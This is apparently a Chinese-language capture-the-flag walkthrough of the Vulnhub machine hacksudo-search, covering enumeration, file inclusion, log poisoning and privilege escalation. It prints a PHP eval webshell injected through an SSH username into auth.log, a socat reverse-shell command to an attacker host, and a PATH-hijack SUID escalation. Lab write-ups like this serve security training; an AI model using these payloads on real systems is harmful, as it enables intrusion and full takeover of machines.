Vulnhub hacksudo-search Walkthrough
前言
这个系列又快要结束了,感觉过得好快,学到了一些东西,又好像是什么也没有学到。好纠结,衣带渐宽终不悔,为伊消得人憔悴。痛并快乐着。废话不多说,这个靶场的知识点还是挺多的:
- Enumeration
- LFI
- RFI
- Privilege Escalation via PATH abuse & SUID.
也不是很多是吧,直接开始正题了。
信息收集
IP信息 | 端口信息 |
---|---|
![]() |
![]() |
都是一些常规的端口,单纯的看并不能有什么敏感信息。
HTTP 扫描
首页 | 跳转 |
---|---|
![]() |
![]() |
gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.0.10 -x txt,php | grep 403 -v
/images (Status: 301) [Size: 307] [—> http://10.0.0.10/images/]
/index.php (Status: 200) [Size: 715]
/submit.php (Status: 200) [Size: 165]
/search.php (Status: 200) [Size: 165]
/assets (Status: 301) [Size: 307] [—> http://10.0.0.10/assets/]
/account (Status: 301) [Size: 308] [—> http://10.0.0.10/account/]
/javascript (Status: 301) [Size: 311] [—> http://10.0.0.10/javascript/]
/robots.txt (Status: 200) [Size: 75]
/LICENSE (Status: 200) [Size: 1074]
/search1.php (Status: 200) [Size: 2918]
/crawler.php (Status: 500) [Size: 0]
其中这个 search1.php
有点奇特,你说为什么会有两个搜索的文件,先去访问一下试试水。发现在这个是作者留下的提示啊,我真机智。在源码模式中可以看见:
FUZZ
如此直白的请求我进行模糊测试,那我就只好迎战了。开始战斗吧少年!!!主要是当你的鼠标移动到 Contact
界面的时候直接会出现提示,连格式都构造好了,真好。
wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt -u 'http://10.0.0.10/search1.php?FUZZ=contact.php' --hl 137
文件包含
尝试包含 /eyc/passwd
看一下系统中有哪些用户。
一句话木马
发现可以包含系统的 auth.log
,那简直爽翻天啊。我构造了一个一句话木马进去,使用中国蚁剑连上了。
ssh '<?php @eval($_POST['shell']); ?>'@10.0.0.10
反弹 shell
已经测试过了,这个 nc
是连不上的, bash
那个也连不上,最后我用了 socat
连上了。socat tcp-connect:10.0.0.5:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
。
登陆 SSH
但是这个密码并不能登陆数据库,真坑啊,幸亏我见多识广,知道这个可能是能够远程登录的密码,经过测试,一共四个用户 hacksudo john monali search
,只有 hacksudo
是可以登陆的,其他的都不行。
运行脚本
提权
一共有两种提权方式。第一种就是这 CVE-2021-4034
还是老样子,作者的每一个靶机都有这个漏洞,感觉很是无语。
CVE-2021-4034
第二种 SUID
这一种呢就是利用上面的咱们扫描扫出来的这个具有 suid
的可执行文件,你看他都是红色的。简单查看一下源文件,发现这个是最后执行了一个 system
函数调用了 install
,所以我构造了一个 install
并写入了一段内容,但是为了防止执行的时候找不到这个文件,所以我将当前路径加入了环境变量,并给与了 install
最高的权限。最终提权成功。